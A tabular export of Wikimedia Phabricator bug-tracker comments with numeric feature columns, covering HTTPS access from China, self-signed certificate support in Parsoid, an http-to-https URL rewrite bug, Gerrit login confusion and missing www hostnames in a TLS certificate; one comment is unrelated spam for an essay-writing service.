307443,Re-test https access fom China (PRC),Also see bug 53739,,,1400773992,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,1,True,,,-58,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Also see bug 53739
307440,Re-test https access fom China (PRC),Being in Beijing currently I can confirm that I can access https://wikipedia.org/ without problems. Now how to proceed?,,,1400773965,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,1,True,,,-58,True,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,0.0,15.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,10.0,20.0,5.0,5.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15,0.9,Being in Beijing currently I can confirm that I can access URL without problems. Now how to proceed?
66003,Add support for self-signed API certs,"We should support MediaWiki APIs with self-signed SSL certs. We can do so by converting the current optional proxy parameter in setInterwiki into an options object which can contain the cert-related options. Those can then be used in ApiRequest if set.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=70761",Low,25.0,1397666460,1512670753.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-4b4pfgqvcrpd2woafkeq,task_description,resolved,True,c3,1,True,False,False,-64,True,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,4.0,8.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,16.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,8.0,5.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.960526315789474,0.6710526315789473,"We should support MediaWiki APIs with self-signed SSL certs. We can do so by converting the current optional proxy parameter in setInterwiki into an options object which can contain the cert-related options. Those can then be used in ApiRequest if set.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
978099,Add support for self-signed API certs,"Change 396032 **merged** by jenkins-bot:
[mediawiki/services/parsoid@master] T66003: Make strictSSL configurable per wiki as well

[[https://gerrit.wikimedia.org/r/396032]]
",,,1512670059,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b4pfgqvcrpd2woafkeq,task_subcomment,,True,c3,3,False,,,127,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.7222222222222223,0.7222222222222222,"Change 396032 **merged** by jenkins-bot:
[mediawiki/services/parsoid@master] T66003: Make strictSSL configurable per wiki as well

[[GERRIT_URL]]
"
977985,Add support for self-signed API certs,"Change 396032 had a related patch set uploaded (by Arlolra; owner: Arlolra):
[mediawiki/services/parsoid@master] T66003: Make strictSSL configurable per wiki as well

[[https://gerrit.wikimedia.org/r/396032]]
",,,1512662153,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b4pfgqvcrpd2woafkeq,task_subcomment,,True,c3,3,False,,,127,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,4.075,0.8,"Change 396032 had a related patch set uploaded (by Arlolra; owner: Arlolra):
[mediawiki/services/parsoid@master] T66003: Make strictSSL configurable per wiki as well

[[GERRIT_URL]]
"
297075,Add support for self-signed API certs,*** Bug 70761 has been marked as a duplicate of this bug. ***,,,1410800121,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-4b4pfgqvcrpd2woafkeq,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 70761 has been marked as a duplicate of this bug. ***
65573,http->https rewrite (=prefershttps) also rewrites http search urls for Special:Linksearch,"With preferhttps option enabled by logged in users

http://de.wikipedia.org/wiki/Spezial:Weblinksuche/http://wikimedia.org

gets redirected to 

https://de.wikipedia.org/wiki/Spezial:Weblinksuche/https://wikimedia.org

instead of

https://de.wikipedia.org/wiki/Spezial:Weblinksuche/http://wikimedia.org

The protocol part of the search url argument must not be rewritten.

--------------------------
**Version**: 1.23.0
**Severity**: normal
**URL**: http://de.wikipedia.org/wiki/Spezial:Weblinksuche/http://wikimedia.org",Low,25.0,1396708500,1398715069.0,PHID-USER-rbcxdzszrm6s4izt67kj,False,,False,PHID-TASK-fo6euemcyydnhp3rauk2,task_description,resolved,True,c3,1,False,False,True,-65,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6721311475409837,0.5737704918032787,"With preferhttps option enabled by logged in users

URL

gets redirected to 

URL

instead of

URL

The protocol part of the search url argument must not be rewritten.

--------------------------
**Version**: 1.23.0
**Severity**: normal
**URL**: URL"
302131,http->https rewrite (=prefershttps) also rewrites http search urls for Special:Linksearch,successfully merged,,,1398715069,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fo6euemcyydnhp3rauk2,task_subcomment,,True,c3,1,True,,,-62,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,successfully merged
302126,http->https rewrite (=prefershttps) also rewrites http search urls for Special:Linksearch,"Change 129925 merged by jenkins-bot:
http -> https rewrite: Only replace one http by https

https://gerrit.wikimedia.org/r/129925",,,1398714651,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fo6euemcyydnhp3rauk2,task_subcomment,,True,c3,1,False,,,-62,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.869565217391304,0.782608695652174,"Change 129925 merged by jenkins-bot:
http -> https rewrite: Only replace one http by https

GERRIT_URL"
302119,http->https rewrite (=prefershttps) also rewrites http search urls for Special:Linksearch,"Change 129925 had a related patch set uploaded by Umherirrender:
http -> https rewrite: Only replace one http by https

https://gerrit.wikimedia.org/r/129925",,,1398544531,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fo6euemcyydnhp3rauk2,task_subcomment,,True,c3,1,False,,,-62,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.3076923076923075,0.8461538461538461,"Change 129925 had a related patch set uploaded by Umherirrender:
http -> https rewrite: Only replace one http by https

GERRIT_URL"
302112,http->https rewrite (=prefershttps) also rewrites http search urls for Special:Linksearch,"str_replace replaced all instead of the first one. A regex replace with ^ at the begin would help here.

Wiki.php around line 537
$redirUrl = str_replace( 'http://', 'https://', $oldUrl );",,,1396725433,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fo6euemcyydnhp3rauk2,task_subcomment,,True,c3,1,True,,,-65,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,10.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.7,0.85,"str_replace replaced all instead of the first one. A regex replace with ^ at the begin would help here.

Wiki.php around line 537
$redirUrl = str_replace( 'URL 'URL $oldUrl );"
64317,Gerrit login/password change: wikitech username has to be used for log-in instead of other user-name,"**Author:** `jweberhofer`

**Description:**
To log in, I have to use my full name instead of the username; that's a bit confusing, as the dialog is asking for the Username. 

It would also be great to find a link to reset the password. After searching, I found https://wikitech.wikimedia.org/wiki/Special:PasswordReset which is possibly the right way; but again - the username can not be found; I have not tried with the full-name.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1394107500,1469514561.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-acuhlxzybxhkwgljm5tq,task_description,declined,True,c3,1,False,False,False,-69,True,0.0,0.0,0.0,1.0,2.0,5.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,3.0,0.0,4.5,6.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,3.5,2.5,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,2.5,0.0,0.5,0.0,0.0,0.0,9.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,6.0,3.0,9.0,0.0,1.0,7.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5,6.0,1.5,0.0,0.0,0.0,3.5,0.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,3.4,0.7181818181818183,"**Author:** CODE

**Description:**
To log in, I have to use my full name instead of the username; that's a bit confusing, as the dialog is asking for the Username. 

It would also be great to find a link to reset the password. After searching, I found URL which is possibly the right way; but again - the username can not be found; I have not tried with the full-name.

--------------------------
**Version**: unspecified
**Severity**: normal"
1460008,Gerrit login/password change: wikitech username has to be used for log-in instead of other user-name,In a bash script in integration to move asserts. Asserts are different type and you make sure in which way you choose these assets to check [[ https://www.australianwritings.com/assignment-help/ | cheap assignment help ]].  ,,,1583757661,,PHID-USER-pxhffaoubbkzukf4wmzv,False,,,PHID-TASK-acuhlxzybxhkwgljm5tq,task_subcomment,,True,c3,3,False,,,244,True,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,5.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.763157894736842,0.8421052631578947,In a bash script in integration to move asserts. Asserts are different type and you make sure in which way you choose these assets to check [[ URL | cheap assignment help ]].  
700075,Gerrit login/password change: wikitech username has to be used for log-in instead of other user-name,"I'm inclined to decline this. While it has been a confusion point for a few people over the years, it's not nearly as big a problem as we thought it would be. I think changing it would actually confuse *more* people who have been using it this way for years now, plus maybe some bots might be broken.",,,1469468134,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-acuhlxzybxhkwgljm5tq,task_subcomment,,True,c3,3,True,,,55,True,3.0,0.0,0.0,1.0,1.0,6.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,4.0,0.0,9.0,10.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,7.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,1.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,6.0,6.0,4.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,10.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,4.0,0.0,3.0,1.0,0.0,0.0,3.626865671641791,0.7164179104477612,"I'm inclined to decline this. While it has been a confusion point for a few people over the years, it's not nearly as big a problem as we thought it would be. I think changing it would actually confuse *more* people who have been using it this way for years now, plus maybe some bots might be broken."
292269,Gerrit login/password change: wikitech username has to be used for log-in instead of other user-name,"Are you by chance trying to log in to gerrit using your “Instance
shell account name”?

Note that Gerrit's “Username” is the same as Wikitech's “Username”
(and not Wikitech's “Instance shell account name”).

It seems there is a username registered that matches your full
name. Did you by chance use your full name as user name?",,,1394458235,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-acuhlxzybxhkwgljm5tq,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,1.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,14.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,10.0,9.0,3.0,0.0,0.0,8.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,3.551282051282051,0.5897435897435898,"Are you by chance trying to log in to gerrit using your “Instance
shell account name”?

Note that Gerrit's “Username” is the same as Wikitech's “Username”
(and not Wikitech's “Instance shell account name”).

It seems there is a username registered that matches your full
name. Did you by chance use your full name as user name?"
292261,Gerrit login/password change: wikitech username has to be used for log-in instead of other user-name,"**jweberhofer** wrote:

(In reply to Andre Klapper from comment #2)
> (In reply to Johannes Weberhofer from comment #0)
> > To log in
> 
> ...on which exact URL, in order to reproduce? 
> This ticket is talking both about wikitech.wm.org and Gerrit.

https://gerrit.wikimedia.org/r/login/",,,1394203259,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-acuhlxzybxhkwgljm5tq,task_subcomment,,True,c3,1,False,,,-69,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.032258064516129,0.6129032258064516,"**jweberhofer** wrote:

(In reply to Andre Klapper from comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

URL"
292252,Gerrit login/password change: wikitech username has to be used for log-in instead of other user-name,"(In reply to Johannes Weberhofer from comment #0)
> To log in

...on which exact URL, in order to reproduce? 
This ticket is talking both about wikitech.wm.org and Gerrit.",,,1394198229,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-acuhlxzybxhkwgljm5tq,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,19.0,11.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.9444444444444446,0.9444444444444444,"(In reply to Johannes Weberhofer from comment #0)
QUOTE

...on which exact URL, in order to reproduce? 
This ticket is talking both about wikitech.wm.org and Gerrit."
292245,Gerrit login/password change: wikitech username has to be used for log-in instead of other user-name,"Even there is no Forgot Password link in the Gerrit login page
(https://bugzilla.wikimedia.org/show_bug.cgi?id=58205)",,,1394183719,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-acuhlxzybxhkwgljm5tq,task_subcomment,,True,c3,1,False,,,-69,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,33.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,1.0,"Even there is no Forgot Password link in the Gerrit login page
(URL"
64181,www.[langcode].wikipedia.org is not included in the X.509 certificate,"**Author:** `popeno2003`

**Description:**
Hi I just randomly get to enter this address:
https://www.fa.wikipedia.org/ 
and I get ""This Connection is Untrusted"" alert. 
I have tried the same with English Wikipedia and get the same result.
so I think it is a problem with all 
https://www.[ln-code].wiki[pedia|source|...].org 
connections.
Is it intentional or just a bug?

Browsers tested with:
 - Firefox 27.0.1 Linux Ubuntu 12.4
 - Chromium 32.0.1700.107 Linux Ubuntu 12.04

Best Regards

Pouyan

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=64977",Low,25.0,1393926600,1436203696.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-oglsy2x5mmatgp2fqhm5,task_description,resolved,True,c3,1,False,False,True,-70,True,0.5,0.0,0.0,0.5,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.5,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,2.0,20.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.5,1.5,0.0,3.5,2.5,11.0,1.0,1.0,0.0,3.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.4692307692307693,0.6076923076923078,"**Author:** CODE

**Description:**
Hi I just randomly get to enter this address:
URL 
and I get ""This Connection is Untrusted"" alert. 
I have tried the same with English Wikipedia and get the same result.
so I think it is a problem with all 
URL 
connections.
Is it intentional or just a bug?

Browsers tested with:
 - Firefox 27.0.1 Linux Ubuntu 12.4
 - Chromium 32.0.1700.107 Linux Ubuntu 12.04

Best Regards

Pouyan

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
URL"
475860,www.[langcode].wikipedia.org is not included in the X.509 certificate,"It's definitely a WONTFIX sort of thing, but I'm leaving this open for now because those hostnames do exist in our DNS, and should be deprecated and removed.",,,1434484745,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-oglsy2x5mmatgp2fqhm5,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,3.0,9.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.9393939393939394,0.9393939393939394,"It's definitely a WONTFIX sort of thing, but I'm leaving this open for now because those hostnames do exist in our DNS, and should be deprecated and removed."
285009,www.[langcode].wikipedia.org is not included in the X.509 certificate,"These URLs are not included in the certificate, so that triggers the error.

I never saw these URLs. Should these URLs be supported, or should this bug be marked as WONTFIX?",,,1394834184,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-oglsy2x5mmatgp2fqhm5,task_subcomment,,True,c3,1,False,,,-68,True,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,8.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,19.0,3.0,3.0,19.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,8.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.891891891891892,0.8108108108108109,"These URLs are not included in the certificate, so that triggers the error.

I never saw these URLs. Should these URLs be supported, or should this bug be marked as WONTFIX?"
285003,www.[langcode].wikipedia.org is not included in the X.509 certificate,"**popeno2003** wrote:

(In reply to pouyan from comment #0)
> Hi I just randomly get to enter this address:
> https://www.fa.wikipedia.org/ 
> and I get ""This Connection is Untrusted"" alert. 
> I have tried the same with English Wikipedia and get the same result.
> so I think it is a problem with all 
> https://www.[ln-code].wiki[pedia|source|...].org 
> connections.
> Is it intentional or just a bug?
> 
> Browsers tested with:
>  - Firefox 27.0.1 Linux Ubuntu 12.4
>  - Chromium 32.0.1700.107 Linux Ubuntu 12.04
> 
> Best Regards
> 
> Pouyan

So the error is in firefox:
